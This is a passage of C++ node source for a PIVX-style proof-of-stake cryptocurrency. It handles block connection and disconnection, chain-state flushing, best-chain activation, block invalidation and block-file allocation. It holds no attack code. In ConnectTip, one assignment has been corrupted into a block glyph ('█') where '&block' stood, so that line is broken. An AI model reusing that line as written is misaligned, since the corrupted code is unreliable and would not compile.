CAmount nExpectedMint = GetBlockValue(pindex->pprev->nHeight);
CAmount nExpectedMintNext = GetBlockValue(pindex->pprev->nHeight+1);
CAmount nExpectedMint2 = nExpectedMint+nExpectedMintNext;
if (block.IsProofOfWork()) {
nExpectedMint2 += nFees;
}
if (!IsBlockValueValid(block, nExpectedMint2, pindex->nMint)) {
return state.DoS(100,
error("ConnectBlock() : reward pays too much (actual=%s vs limit=%s)",
FormatMoney(pindex->nMint), FormatMoney(nExpectedMint2)),
REJECT_INVALID, "bad-cb-amount");
}
// zerocoin accumulator: if a new accumulator checkpoint was generated, check that it is the correct value
if (!fVerifyingBlocks && pindex->nHeight >= Params().Zerocoin_StartHeight() && pindex->nHeight % 10 == 0) {
uint256 nCheckpointCalculated = 0;
if (!CalculateAccumulatorCheckpoint(pindex->nHeight, nCheckpointCalculated))
return state.DoS(100, error("ConnectBlock() : failed to calculate accumulator checkpoint"));
if (nCheckpointCalculated != block.nAccumulatorCheckpoint) {
LogPrintf("%s: block=%d calculated: %s\n block: %s\n", __func__, pindex->nHeight, nCheckpointCalculated.GetHex(), block.nAccumulatorCheckpoint.GetHex());
return state.DoS(100, error("ConnectBlock() : accumulator does not match calculated value"));
}
} else if (!fVerifyingBlocks) {
if (block.nAccumulatorCheckpoint != pindex->pprev->nAccumulatorCheckpoint) {
return state.DoS(100, error("ConnectBlock() : new accumulator checkpoint generated on a block that is not multiple of 10"));
}
}
if (!control.Wait())
return state.DoS(100, false);
int64_t nTime2 = GetTimeMicros();
nTimeVerify += nTime2 - nTimeStart;
LogPrint("bench", " - Verify %u txins: %.2fms (%.3fms/txin) [%.2fs]\n", nInputs - 1, 0.001 * (nTime2 - nTimeStart), nInputs <= 1 ? 0 : 0.001 * (nTime2 - nTimeStart) / (nInputs - 1), nTimeVerify * 0.000001);
if (fJustCheck)
return true;
// Write undo information to disk
if (pindex->GetUndoPos().IsNull() || !pindex->IsValid(BLOCK_VALID_SCRIPTS)) {
if (pindex->GetUndoPos().IsNull()) {
CDiskBlockPos pos;
if (!FindUndoPos(state, pindex->nFile, pos, ::GetSerializeSize(blockundo, SER_DISK, CLIENT_VERSION) + 40))
return error("ConnectBlock() : FindUndoPos failed");
if (!blockundo.WriteToDisk(pos, pindex->pprev->GetBlockHash()))
return state.Abort("Failed to write undo data");
// update nUndoPos in block index
pindex->nUndoPos = pos.nPos;
pindex->nStatus |= BLOCK_HAVE_UNDO;
}
pindex->RaiseValidity(BLOCK_VALID_SCRIPTS);
setDirtyBlockIndex.insert(pindex);
}
if (fTxIndex)
if (!pblocktree->WriteTxIndex(vPos))
return state.Abort("Failed to write transaction index");
// add this block to the view's block chain
view.SetBestBlock(pindex->GetBlockHash());
int64_t nTime3 = GetTimeMicros();
nTimeIndex += nTime3 - nTime2;
LogPrint("bench", " - Index writing: %.2fms [%.2fs]\n", 0.001 * (nTime3 - nTime2), nTimeIndex * 0.000001);
// Watch for changes to the previous coinbase transaction.
static uint256 hashPrevBestCoinBase;
g_signals.UpdatedTransaction(hashPrevBestCoinBase);
hashPrevBestCoinBase = block.vtx[0].GetHash();
int64_t nTime4 = GetTimeMicros();
nTimeCallbacks += nTime4 - nTime3;
LogPrint("bench", " - Callbacks: %.2fms [%.2fs]\n", 0.001 * (nTime4 - nTime3), nTimeCallbacks * 0.000001);
return true;
}
enum FlushStateMode {
FLUSH_STATE_IF_NEEDED,
FLUSH_STATE_PERIODIC,
FLUSH_STATE_ALWAYS
};
/**
* Update the on-disk chain state.
* The caches and indexes are flushed if either they're too large, forceWrite is set, or
* fast is not set and it's been a while since the last write.
*/
bool static FlushStateToDisk(CValidationState& state, FlushStateMode mode)
{
LOCK(cs_main);
static int64_t nLastWrite = 0;
try {
if ((mode == FLUSH_STATE_ALWAYS) ||
((mode == FLUSH_STATE_PERIODIC || mode == FLUSH_STATE_IF_NEEDED) && pcoinsTip->GetCacheSize() > nCoinCacheSize) ||
(mode == FLUSH_STATE_PERIODIC && GetTimeMicros() > nLastWrite + DATABASE_WRITE_INTERVAL * 1000000)) {
// Typical CCoins structures on disk are around 100 bytes in size.
// Pushing a new one to the database can cause it to be written
// twice (once in the log, and once in the tables). This is already
// an overestimation, as most will delete an existing entry or
// overwrite one. Still, use a conservative safety factor of 2.
if (!CheckDiskSpace(100 * 2 * 2 * pcoinsTip->GetCacheSize()))
return state.Error("out of disk space");
// First make sure all block and undo data is flushed to disk.
FlushBlockFile();
// Then update all block file information (which may refer to block and undo files).
bool fileschanged = false;
for (set<int>::iterator it = setDirtyFileInfo.begin(); it != setDirtyFileInfo.end();) {
if (!pblocktree->WriteBlockFileInfo(*it, vinfoBlockFile[*it])) {
return state.Abort("Failed to write to block index");
}
fileschanged = true;
setDirtyFileInfo.erase(it++);
}
if (fileschanged && !pblocktree->WriteLastBlockFile(nLastBlockFile)) {
return state.Abort("Failed to write to block index");
}
for (set<CBlockIndex*>::iterator it = setDirtyBlockIndex.begin(); it != setDirtyBlockIndex.end();) {
if (!pblocktree->WriteBlockIndex(CDiskBlockIndex(*it))) {
return state.Abort("Failed to write to block index");
}
setDirtyBlockIndex.erase(it++);
}
pblocktree->Sync();
// Finally flush the chainstate (which may refer to block index entries).
if (!pcoinsTip->Flush())
return state.Abort("Failed to write to coin database");
// Update best block in wallet (so we can detect restored wallets).
if (mode != FLUSH_STATE_IF_NEEDED) {
g_signals.SetBestChain(chainActive.GetLocator());
}
nLastWrite = GetTimeMicros();
}
} catch (const std::runtime_error& e) {
return state.Abort(std::string("System error while flushing: ") + e.what());
}
return true;
}
void FlushStateToDisk()
{
CValidationState state;
FlushStateToDisk(state, FLUSH_STATE_ALWAYS);
}
/** Update chainActive and related internal data structures. */
void static UpdateTip(CBlockIndex* pindexNew)
{
chainActive.SetTip(pindexNew);
// If turned on AutoZeromint will automatically convert TSN to zTSN
if (pwalletMain->isZeromintEnabled ())
pwalletMain->AutoZeromint ();
// New best block
nTimeBestReceived = GetTime();
mempool.AddTransactionsUpdated(1);
LogPrintf("UpdateTip: new best=%s height=%d log2_work=%.8g tx=%lu date=%s progress=%f cache=%u\n",
chainActive.Tip()->GetBlockHash().ToString(), chainActive.Height(), log(chainActive.Tip()->nChainWork.getdouble()) / log(2.0), (unsigned long)chainActive.Tip()->nChainTx,
DateTimeStrFormat("%Y-%m-%d %H:%M:%S", chainActive.Tip()->GetBlockTime()),
Checkpoints::GuessVerificationProgress(chainActive.Tip()), (unsigned int)pcoinsTip->GetCacheSize());
cvBlockChange.notify_all();
// Check the version of the last 100 blocks to see if we need to upgrade:
static bool fWarned = false;
if (!IsInitialBlockDownload() && !fWarned) {
int nUpgraded = 0;
const CBlockIndex* pindex = chainActive.Tip();
for (int i = 0; i < 100 && pindex != NULL; i++) {
if (pindex->nVersion > CBlock::CURRENT_VERSION)
++nUpgraded;
pindex = pindex->pprev;
}
if (nUpgraded > 0)
LogPrintf("SetBestChain: %d of last 100 blocks above version %d\n", nUpgraded, (int)CBlock::CURRENT_VERSION);
if (nUpgraded > 100 / 2) {
// strMiscWarning is read by GetWarnings(), called by Qt and the JSON-RPC code to warn the user:
strMiscWarning = _("Warning: This version is obsolete, upgrade required!");
CAlert::Notify(strMiscWarning, true);
fWarned = true;
}
}
}
/** Disconnect chainActive's tip. */
bool static DisconnectTip(CValidationState& state)
{
CBlockIndex* pindexDelete = chainActive.Tip();
assert(pindexDelete);
mempool.check(pcoinsTip);
// Read block from disk.
CBlock block;
if (!ReadBlockFromDisk(block, pindexDelete))
return state.Abort("Failed to read block");
// Apply the block atomically to the chain state.
int64_t nStart = GetTimeMicros();
{
CCoinsViewCache view(pcoinsTip);
if (!DisconnectBlock(block, state, pindexDelete, view))
return error("DisconnectTip() : DisconnectBlock %s failed", pindexDelete->GetBlockHash().ToString());
assert(view.Flush());
}
LogPrint("bench", "- Disconnect block: %.2fms\n", (GetTimeMicros() - nStart) * 0.001);
// Write the chain state to disk, if necessary.
if (!FlushStateToDisk(state, FLUSH_STATE_ALWAYS))
return false;
// Resurrect mempool transactions from the disconnected block.
BOOST_FOREACH (const CTransaction& tx, block.vtx) {
// ignore validation errors in resurrected transactions
list<CTransaction> removed;
CValidationState stateDummy;
if (tx.IsCoinBase() || tx.IsCoinStake() || !AcceptToMemoryPool(mempool, stateDummy, tx, false, NULL))
mempool.remove(tx, removed, true);
}
mempool.removeCoinbaseSpends(pcoinsTip, pindexDelete->nHeight);
mempool.check(pcoinsTip);
// Update chainActive and related variables.
UpdateTip(pindexDelete->pprev);
// Let wallets know transactions went from 1-confirmed to
// 0-confirmed or conflicted:
BOOST_FOREACH (const CTransaction& tx, block.vtx) {
SyncWithWallets(tx, NULL);
}
return true;
}
static int64_t nTimeReadFromDisk = 0;
static int64_t nTimeConnectTotal = 0;
static int64_t nTimeFlush = 0;
static int64_t nTimeChainState = 0;
static int64_t nTimePostConnect = 0;
/**
* Connect a new block to chainActive. pblock is either NULL or a pointer to a CBlock
* corresponding to pindexNew, to bypass loading it again from disk.
*/
bool static ConnectTip(CValidationState& state, CBlockIndex* pindexNew, CBlock* pblock, bool fAlreadyChecked)
{
assert(pindexNew->pprev == chainActive.Tip());
mempool.check(pcoinsTip);
CCoinsViewCache view(pcoinsTip);
if (pblock == NULL)
fAlreadyChecked = false;
// Read block from disk.
int64_t nTime1 = GetTimeMicros();
CBlock block;
if (!pblock) {
if (!ReadBlockFromDisk(block, pindexNew))
return state.Abort("Failed to read block");
pblock = █
}
// Apply the block atomically to the chain state.
int64_t nTime2 = GetTimeMicros();
nTimeReadFromDisk += nTime2 - nTime1;
int64_t nTime3;
LogPrint("bench", " - Load block from disk: %.2fms [%.2fs]\n", (nTime2 - nTime1) * 0.001, nTimeReadFromDisk * 0.000001);
{
CInv inv(MSG_BLOCK, pindexNew->GetBlockHash());
bool rv = ConnectBlock(*pblock, state, pindexNew, view, false, fAlreadyChecked);
g_signals.BlockChecked(*pblock, state);
if (!rv) {
if (state.IsInvalid())
InvalidBlockFound(pindexNew, state);
return error("ConnectTip() : ConnectBlock %s failed", pindexNew->GetBlockHash().ToString());
}
mapBlockSource.erase(inv.hash);
nTime3 = GetTimeMicros();
nTimeConnectTotal += nTime3 - nTime2;
LogPrint("bench", " - Connect total: %.2fms [%.2fs]\n", (nTime3 - nTime2) * 0.001, nTimeConnectTotal * 0.000001);
assert(view.Flush());
}
int64_t nTime4 = GetTimeMicros();
nTimeFlush += nTime4 - nTime3;
LogPrint("bench", " - Flush: %.2fms [%.2fs]\n", (nTime4 - nTime3) * 0.001, nTimeFlush * 0.000001);
// Write the chain state to disk, if necessary. Always write to disk if this is the first of a new file.
FlushStateMode flushMode = FLUSH_STATE_IF_NEEDED;
if (pindexNew->pprev && (pindexNew->GetBlockPos().nFile != pindexNew->pprev->GetBlockPos().nFile))
flushMode = FLUSH_STATE_ALWAYS;
if (!FlushStateToDisk(state, flushMode))
return false;
int64_t nTime5 = GetTimeMicros();
nTimeChainState += nTime5 - nTime4;
LogPrint("bench", " - Writing chainstate: %.2fms [%.2fs]\n", (nTime5 - nTime4) * 0.001, nTimeChainState * 0.000001);
// Remove conflicting transactions from the mempool.
list<CTransaction> txConflicted;
mempool.removeForBlock(pblock->vtx, pindexNew->nHeight, txConflicted);
mempool.check(pcoinsTip);
// Update chainActive & related variables.
UpdateTip(pindexNew);
// Tell wallet about transactions that went from mempool
// to conflicted:
BOOST_FOREACH (const CTransaction& tx, txConflicted) {
SyncWithWallets(tx, NULL);
}
// ... and about transactions that got confirmed:
BOOST_FOREACH (const CTransaction& tx, pblock->vtx) {
SyncWithWallets(tx, pblock);
}
int64_t nTime6 = GetTimeMicros();
nTimePostConnect += nTime6 - nTime5;
nTimeTotal += nTime6 - nTime1;
LogPrint("bench", " - Connect postprocess: %.2fms [%.2fs]\n", (nTime6 - nTime5) * 0.001, nTimePostConnect * 0.000001);
LogPrint("bench", "- Connect block: %.2fms [%.2fs]\n", (nTime6 - nTime1) * 0.001, nTimeTotal * 0.000001);
return true;
}
bool DisconnectBlocksAndReprocess(int blocks)
{
LOCK(cs_main);
CValidationState state;
LogPrintf("DisconnectBlocksAndReprocess: Got command to replay %d blocks\n", blocks);
for (int i = 0; i <= blocks; i++)
DisconnectTip(state);
return true;
}
/*
DisconnectBlockAndInputs
Remove conflicting blocks for successful SwiftX transaction locks
This should be very rare (Probably will never happen)
*/
// ***TODO*** clean up here
bool DisconnectBlockAndInputs(CValidationState& state, CTransaction txLock)
{
// All modifications to the coin state will be done in this cache.
// Only when all have succeeded, we push it to pcoinsTip.
// CCoinsViewCache view(*pcoinsTip, true);
CBlockIndex* BlockReading = chainActive.Tip();
CBlockIndex* pindexNew = NULL;
bool foundConflictingTx = false;
//remove anything conflicting in the memory pool
list<CTransaction> txConflicted;
mempool.removeConflicts(txLock, txConflicted);
// List of what to disconnect (typically nothing)
vector<CBlockIndex*> vDisconnect;
for (unsigned int i = 1; BlockReading && BlockReading->nHeight > 0 && !foundConflictingTx && i < 6; i++) {
vDisconnect.push_back(BlockReading);
pindexNew = BlockReading->pprev; //new best block
CBlock block;
if (!ReadBlockFromDisk(block, BlockReading))
return state.Abort(_("Failed to read block"));
// Queue memory transactions to resurrect.
// We only do this for blocks after the last checkpoint (reorganisation before that
// point should only happen with -reindex/-loadblock, or a misbehaving peer.
BOOST_FOREACH (const CTransaction& tx, block.vtx) {
if (!tx.IsCoinBase()) {
BOOST_FOREACH (const CTxIn& in1, txLock.vin) {
BOOST_FOREACH (const CTxIn& in2, tx.vin) {
if (in1.prevout == in2.prevout) foundConflictingTx = true;
}
}
}
}
if (BlockReading->pprev == NULL) {
assert(BlockReading);
break;
}
BlockReading = BlockReading->pprev;
}
if (!foundConflictingTx) {
LogPrintf("DisconnectBlockAndInputs: Can't find a conflicting transaction to inputs\n");
return false;
}
if (vDisconnect.size() > 0) {
LogPrintf("REORGANIZE: Disconnect Conflicting Blocks %lli blocks; %s..\n", vDisconnect.size(), pindexNew->GetBlockHash().ToString());
BOOST_FOREACH (CBlockIndex* pindex, vDisconnect) {
LogPrintf(" -- disconnect %s\n", pindex->GetBlockHash().ToString());
DisconnectTip(state);
}
}
return true;
}
/**
* Return the tip of the chain with the most work in it, that isn't
* known to be invalid (it's however far from certain to be valid).
*/
static CBlockIndex* FindMostWorkChain()
{
do {
CBlockIndex* pindexNew = NULL;
// Find the best candidate header.
{
std::set<CBlockIndex*, CBlockIndexWorkComparator>::reverse_iterator it = setBlockIndexCandidates.rbegin();
if (it == setBlockIndexCandidates.rend())
return NULL;
pindexNew = *it;
}
// Check whether all blocks on the path between the currently active chain and the candidate are valid.
// Just going until the active chain is an optimization, as we know all blocks in it are valid already.
CBlockIndex* pindexTest = pindexNew;
bool fInvalidAncestor = false;
while (pindexTest && !chainActive.Contains(pindexTest)) {
assert(pindexTest->nChainTx || pindexTest->nHeight == 0);
// Pruned nodes may have entries in setBlockIndexCandidates for
// which block files have been deleted. Remove those as candidates
// for the most work chain if we come across them; we can't switch
// to a chain unless we have all the non-active-chain parent blocks.
bool fFailedChain = pindexTest->nStatus & BLOCK_FAILED_MASK;
bool fMissingData = !(pindexTest->nStatus & BLOCK_HAVE_DATA);
if (fFailedChain || fMissingData) {
// Candidate chain is not usable (either invalid or missing data)
if (fFailedChain && (pindexBestInvalid == NULL || pindexNew->nChainWork > pindexBestInvalid->nChainWork))
pindexBestInvalid = pindexNew;
CBlockIndex* pindexFailed = pindexNew;
// Remove the entire chain from the set.
while (pindexTest != pindexFailed) {
if (fFailedChain) {
pindexFailed->nStatus |= BLOCK_FAILED_CHILD;
} else if (fMissingData) {
// If we're missing data, then add back to mapBlocksUnlinked,
// so that if the block arrives in the future we can try adding
// to setBlockIndexCandidates again.
mapBlocksUnlinked.insert(std::make_pair(pindexFailed->pprev, pindexFailed));
}
setBlockIndexCandidates.erase(pindexFailed);
pindexFailed = pindexFailed->pprev;
}
setBlockIndexCandidates.erase(pindexTest);
fInvalidAncestor = true;
break;
}
pindexTest = pindexTest->pprev;
}
if (!fInvalidAncestor)
return pindexNew;
} while (true);
}
/** Delete all entries in setBlockIndexCandidates that are worse than the current tip. */
static void PruneBlockIndexCandidates()
{
// Note that we can't delete the current block itself, as we may need to return to it later in case a
// reorganization to a better block fails.
std::set<CBlockIndex*, CBlockIndexWorkComparator>::iterator it = setBlockIndexCandidates.begin();
while (it != setBlockIndexCandidates.end() && setBlockIndexCandidates.value_comp()(*it, chainActive.Tip())) {
setBlockIndexCandidates.erase(it++);
}
// Either the current tip or a successor of it we're working towards is left in setBlockIndexCandidates.
assert(!setBlockIndexCandidates.empty());
}
/**
* Try to make some progress towards making pindexMostWork the active block.
* pblock is either NULL or a pointer to a CBlock corresponding to pindexMostWork.
*/
static bool ActivateBestChainStep(CValidationState& state, CBlockIndex* pindexMostWork, CBlock* pblock, bool fAlreadyChecked)
{
AssertLockHeld(cs_main);
if (pblock == NULL)
fAlreadyChecked = false;
bool fInvalidFound = false;
const CBlockIndex* pindexOldTip = chainActive.Tip();
const CBlockIndex* pindexFork = chainActive.FindFork(pindexMostWork);
// Disconnect active blocks which are no longer in the best chain.
while (chainActive.Tip() && chainActive.Tip() != pindexFork) {
if (!DisconnectTip(state))
return false;
}
// Build list of new blocks to connect.
std::vector<CBlockIndex*> vpindexToConnect;
bool fContinue = true;
int nHeight = pindexFork ? pindexFork->nHeight : -1;
while (fContinue && nHeight != pindexMostWork->nHeight) {
// Don't iterate the entire list of potential improvements toward the best tip, as we likely only need
// a few blocks along the way.
int nTargetHeight = std::min(nHeight + 32, pindexMostWork->nHeight);
vpindexToConnect.clear();
vpindexToConnect.reserve(nTargetHeight - nHeight);
CBlockIndex* pindexIter = pindexMostWork->GetAncestor(nTargetHeight);
while (pindexIter && pindexIter->nHeight != nHeight) {
vpindexToConnect.push_back(pindexIter);
pindexIter = pindexIter->pprev;
}
nHeight = nTargetHeight;
// Connect new blocks.
BOOST_REVERSE_FOREACH (CBlockIndex* pindexConnect, vpindexToConnect) {
if (!ConnectTip(state, pindexConnect, pindexConnect == pindexMostWork ? pblock : NULL, fAlreadyChecked)) {
if (state.IsInvalid()) {
// The block violates a consensus rule.
if (!state.CorruptionPossible())
InvalidChainFound(vpindexToConnect.back());
state = CValidationState();
fInvalidFound = true;
fContinue = false;
break;
} else {
// A system error occurred (disk space, database error, ...).
return false;
}
} else {
PruneBlockIndexCandidates();
if (!pindexOldTip || chainActive.Tip()->nChainWork > pindexOldTip->nChainWork) {
// We're in a better position than we were. Return temporarily to release the lock.
fContinue = false;
break;
}
}
}
}
// Callbacks/notifications for a new best chain.
if (fInvalidFound)
CheckForkWarningConditionsOnNewFork(vpindexToConnect.back());
else
CheckForkWarningConditions();
return true;
}
/**
* Make the best chain active, in multiple steps. The result is either failure
* or an activated best chain. pblock is either NULL or a pointer to a block
* that is already loaded (to avoid loading it again from disk).
*/
bool ActivateBestChain(CValidationState& state, CBlock* pblock, bool fAlreadyChecked)
{
CBlockIndex* pindexNewTip = NULL;
CBlockIndex* pindexMostWork = NULL;
do {
boost::this_thread::interruption_point();
bool fInitialDownload;
while (true) {
TRY_LOCK(cs_main, lockMain);
if (!lockMain) {
MilliSleep(50);
continue;
}
pindexMostWork = FindMostWorkChain();
// Whether we have anything to do at all.
if (pindexMostWork == NULL || pindexMostWork == chainActive.Tip())
return true;
if (!ActivateBestChainStep(state, pindexMostWork, pblock && pblock->GetHash() == pindexMostWork->GetBlockHash() ? pblock : NULL, fAlreadyChecked))
return false;
pindexNewTip = chainActive.Tip();
fInitialDownload = IsInitialBlockDownload();
break;
}
// When we reach this point, we switched to a new tip (stored in pindexNewTip).
// Notifications/callbacks that can run without cs_main
if (!fInitialDownload) {
uint256 hashNewTip = pindexNewTip->GetBlockHash();
// Relay inventory, but don't relay old inventory during initial block download.
int nBlockEstimate = Checkpoints::GetTotalBlocksEstimate();
{
LOCK(cs_vNodes);
BOOST_FOREACH (CNode* pnode, vNodes)
if (chainActive.Height() > (pnode->nStartingHeight != -1 ? pnode->nStartingHeight - 2000 : nBlockEstimate))
pnode->PushInventory(CInv(MSG_BLOCK, hashNewTip));
}
// Notify external listeners about the new tip.
uiInterface.NotifyBlockTip(hashNewTip);
}
} while (pindexMostWork != chainActive.Tip());
CheckBlockIndex();
// Write changes periodically to disk, after relay.
if (!FlushStateToDisk(state, FLUSH_STATE_PERIODIC)) {
return false;
}
return true;
}
bool InvalidateBlock(CValidationState& state, CBlockIndex* pindex)
{
AssertLockHeld(cs_main);
// Mark the block itself as invalid.
pindex->nStatus |= BLOCK_FAILED_VALID;
setDirtyBlockIndex.insert(pindex);
setBlockIndexCandidates.erase(pindex);
while (chainActive.Contains(pindex)) {
CBlockIndex* pindexWalk = chainActive.Tip();
pindexWalk->nStatus |= BLOCK_FAILED_CHILD;
setDirtyBlockIndex.insert(pindexWalk);
setBlockIndexCandidates.erase(pindexWalk);
// ActivateBestChain considers blocks already in chainActive
// unconditionally valid already, so force disconnect away from it.
if (!DisconnectTip(state)) {
return false;
}
}
// The resulting new best tip may not be in setBlockIndexCandidates anymore, so
// add them again.
BlockMap::iterator it = mapBlockIndex.begin();
while (it != mapBlockIndex.end()) {
if (it->second->IsValid(BLOCK_VALID_TRANSACTIONS) && it->second->nChainTx && !setBlockIndexCandidates.value_comp()(it->second, chainActive.Tip())) {
setBlockIndexCandidates.insert(it->second);
}
it++;
}
InvalidChainFound(pindex);
return true;
}
bool ReconsiderBlock(CValidationState& state, CBlockIndex* pindex)
{
AssertLockHeld(cs_main);
int nHeight = pindex->nHeight;
// Remove the invalidity flag from this block and all its descendants.
BlockMap::iterator it = mapBlockIndex.begin();
while (it != mapBlockIndex.end()) {
if (!it->second->IsValid() && it->second->GetAncestor(nHeight) == pindex) {
it->second->nStatus &= ~BLOCK_FAILED_MASK;
setDirtyBlockIndex.insert(it->second);
if (it->second->IsValid(BLOCK_VALID_TRANSACTIONS) && it->second->nChainTx && setBlockIndexCandidates.value_comp()(chainActive.Tip(), it->second)) {
setBlockIndexCandidates.insert(it->second);
}
if (it->second == pindexBestInvalid) {
// Reset invalid block marker if it was pointing to one of those.
pindexBestInvalid = NULL;
}
}
it++;
}
// Remove the invalidity flag from all ancestors too.
while (pindex != NULL) {
if (pindex->nStatus & BLOCK_FAILED_MASK) {
pindex->nStatus &= ~BLOCK_FAILED_MASK;
setDirtyBlockIndex.insert(pindex);
}
pindex = pindex->pprev;
}
return true;
}
CBlockIndex* AddToBlockIndex(const CBlock& block)
{
// Check for duplicate
uint256 hash = block.GetHash();
BlockMap::iterator it = mapBlockIndex.find(hash);
if (it != mapBlockIndex.end())
return it->second;
// Construct new block index object
CBlockIndex* pindexNew = new CBlockIndex(block);
assert(pindexNew);
// We assign the sequence id to blocks only when the full data is available,
// to avoid miners withholding blocks but broadcasting headers, to get a
// competitive advantage.
pindexNew->nSequenceId = 0;
BlockMap::iterator mi = mapBlockIndex.insert(make_pair(hash, pindexNew)).first;
//mark as PoS seen
if (pindexNew->IsProofOfStake())
setStakeSeen.insert(make_pair(pindexNew->prevoutStake, pindexNew->nStakeTime));
pindexNew->phashBlock = &((*mi).first);
BlockMap::iterator miPrev = mapBlockIndex.find(block.hashPrevBlock);
if (miPrev != mapBlockIndex.end()) {
pindexNew->pprev = (*miPrev).second;
pindexNew->nHeight = pindexNew->pprev->nHeight + 1;
pindexNew->BuildSkip();
//update previous block pointer
pindexNew->pprev->pnext = pindexNew;
// ppcoin: compute chain trust score
pindexNew->bnChainTrust = (pindexNew->pprev ? pindexNew->pprev->bnChainTrust : 0) + pindexNew->GetBlockTrust();
// ppcoin: compute stake entropy bit for stake modifier
if (!pindexNew->SetStakeEntropyBit(pindexNew->GetStakeEntropyBit()))
LogPrintf("AddToBlockIndex() : SetStakeEntropyBit() failed \n");
// ppcoin: record proof-of-stake hash value
if (pindexNew->IsProofOfStake()) {
if (!mapProofOfStake.count(hash))
LogPrintf("AddToBlockIndex() : hashProofOfStake not found in map \n");
pindexNew->hashProofOfStake = mapProofOfStake[hash];
}
// ppcoin: compute stake modifier
uint64_t nStakeModifier = 0;
bool fGeneratedStakeModifier = false;
if (!ComputeNextStakeModifier(pindexNew->pprev, nStakeModifier, fGeneratedStakeModifier))
LogPrintf("AddToBlockIndex() : ComputeNextStakeModifier() failed \n");
pindexNew->SetStakeModifier(nStakeModifier, fGeneratedStakeModifier);
pindexNew->nStakeModifierChecksum = GetStakeModifierChecksum(pindexNew);
if (!CheckStakeModifierCheckpoints(pindexNew->nHeight, pindexNew->nStakeModifierChecksum))
LogPrintf("AddToBlockIndex() : Rejected by stake modifier checkpoint height=%d, modifier=%s \n", pindexNew->nHeight, boost::lexical_cast<std::string>(nStakeModifier));
}
pindexNew->nChainWork = (pindexNew->pprev ? pindexNew->pprev->nChainWork : 0) + GetBlockProof(*pindexNew);
pindexNew->RaiseValidity(BLOCK_VALID_TREE);
if (pindexBestHeader == NULL || pindexBestHeader->nChainWork < pindexNew->nChainWork)
pindexBestHeader = pindexNew;
//update previous block pointer
if (pindexNew->nHeight)
pindexNew->pprev->pnext = pindexNew;
setDirtyBlockIndex.insert(pindexNew);
return pindexNew;
}
/** Mark a block as having its data received and checked (up to BLOCK_VALID_TRANSACTIONS). */
bool ReceivedBlockTransactions(const CBlock& block, CValidationState& state, CBlockIndex* pindexNew, const CDiskBlockPos& pos)
{
if (block.IsProofOfStake())
pindexNew->SetProofOfStake();
pindexNew->nTx = block.vtx.size();
pindexNew->nChainTx = 0;
pindexNew->nFile = pos.nFile;
pindexNew->nDataPos = pos.nPos;
pindexNew->nUndoPos = 0;
pindexNew->nStatus |= BLOCK_HAVE_DATA;
pindexNew->RaiseValidity(BLOCK_VALID_TRANSACTIONS);
setDirtyBlockIndex.insert(pindexNew);
if (pindexNew->pprev == NULL || pindexNew->pprev->nChainTx) {
// If pindexNew is the genesis block or all parents are BLOCK_VALID_TRANSACTIONS.
deque<CBlockIndex*> queue;
queue.push_back(pindexNew);
// Recursively process any descendant blocks that now may be eligible to be connected.
while (!queue.empty()) {
CBlockIndex* pindex = queue.front();
queue.pop_front();
pindex->nChainTx = (pindex->pprev ? pindex->pprev->nChainTx : 0) + pindex->nTx;
{
LOCK(cs_nBlockSequenceId);
pindex->nSequenceId = nBlockSequenceId++;
}
if (chainActive.Tip() == NULL || !setBlockIndexCandidates.value_comp()(pindex, chainActive.Tip())) {
setBlockIndexCandidates.insert(pindex);
}
std::pair<std::multimap<CBlockIndex*, CBlockIndex*>::iterator, std::multimap<CBlockIndex*, CBlockIndex*>::iterator> range = mapBlocksUnlinked.equal_range(pindex);
while (range.first != range.second) {
std::multimap<CBlockIndex*, CBlockIndex*>::iterator it = range.first;
queue.push_back(it->second);
range.first++;
mapBlocksUnlinked.erase(it);
}
}
} else {
if (pindexNew->pprev && pindexNew->pprev->IsValid(BLOCK_VALID_TREE)) {
mapBlocksUnlinked.insert(std::make_pair(pindexNew->pprev, pindexNew));
}
}
return true;
}
bool FindBlockPos(CValidationState& state, CDiskBlockPos& pos, unsigned int nAddSize, unsigned int nHeight, uint64_t nTime, bool fKnown = false)
{
LOCK(cs_LastBlockFile);
unsigned int nFile = fKnown ? pos.nFile : nLastBlockFile;
if (vinfoBlockFile.size() <= nFile) {
vinfoBlockFile.resize(nFile + 1);
}
if (!fKnown) {
while (vinfoBlockFile[nFile].nSize + nAddSize >= MAX_BLOCKFILE_SIZE) {
LogPrintf("Leaving block file %i: %s\n", nFile, vinfoBlockFile[nFile].ToString());
FlushBlockFile(true);
nFile++;
if (vinfoBlockFile.size() <= nFile) {
vinfoBlockFile.resize(nFile + 1);
}
}
pos.nFile = nFile;
pos.nPos = vinfoBlockFile[nFile].nSize;
}
nLastBlockFile = nFile;
vinfoBlockFile[nFile].AddBlock(nHeight, nTime);
if (fKnown)
vinfoBlockFile[nFile].nSize = std::max(pos.nPos + nAddSize, vinfoBlockFile[nFile].nSize);
else
vinfoBlockFile[nFile].nSize += nAddSize;
if (!fKnown) {
unsigned int nOldChunks = (pos.nPos + BLOCKFILE_CHUNK_SIZE - 1) / BLOCKFILE_CHUNK_SIZE;
unsigned int nNewChunks = (vinfoBlockFile[nFile].nSize + BLOCKFILE_CHUNK_SIZE - 1) / BLOCKFILE_CHUNK_SIZE;
if (nNewChunks > nOldChunks) {
if (CheckDiskSpace(nNewChunks * BLOCKFILE_CHUNK_SIZE - pos.nPos)) {
FILE* file = OpenBlockFile(pos);
if (file) {
LogPrintf("Pre-allocating up to position 0x%x in blk%05u.dat\n", nNewChunks * BLOCKFILE_CHUNK_SIZE, pos.nFile);
AllocateFileRange(file, pos.nPos, nNewChunks * BLOCKFILE_CHUNK_SIZE - pos.nPos);
fclose(file);
}
} else
return state.Error("out of disk space");
}
}
setDirtyFileInfo.insert(nFile);
return true;
}
bool FindUndoPos(CValidationState& state, int nFile, CDiskBlockPos& pos, unsigned int nAddSize)
{
pos.nFile = nFile;
LOCK(cs_LastBlockFile);
unsigned int nNewSize;
pos.nPos = vinfoBlockFile[nFile].nUndoSize;
nNewSize = vinfoBlockFile[nFile].nUndoSize += nAddSize;
setDirtyFileInfo.insert(nFile);
unsigned int nOldChunks = (pos.nPos + UNDOFILE_CHUNK_SIZE - 1) / UNDOFILE_CHUNK_SIZE;
unsigned int nNewChunks = (nNewSize + UNDOFILE_CHUNK_SIZE - 1) / UNDOFILE_CHUNK_SIZE;
if (nNewChunks > nOldChunks) {
if (CheckDiskSpace(nNewChunks * UNDOFILE_CHUNK_SIZE - pos.nPos)) {
FILE* file = OpenUndoFile(pos);
if (file) {
LogPrintf("Pre-allocating up to position 0x%x in rev%05u.dat\n", nNewChunks * UNDOFILE_CHUNK_SIZE, pos.nFile);
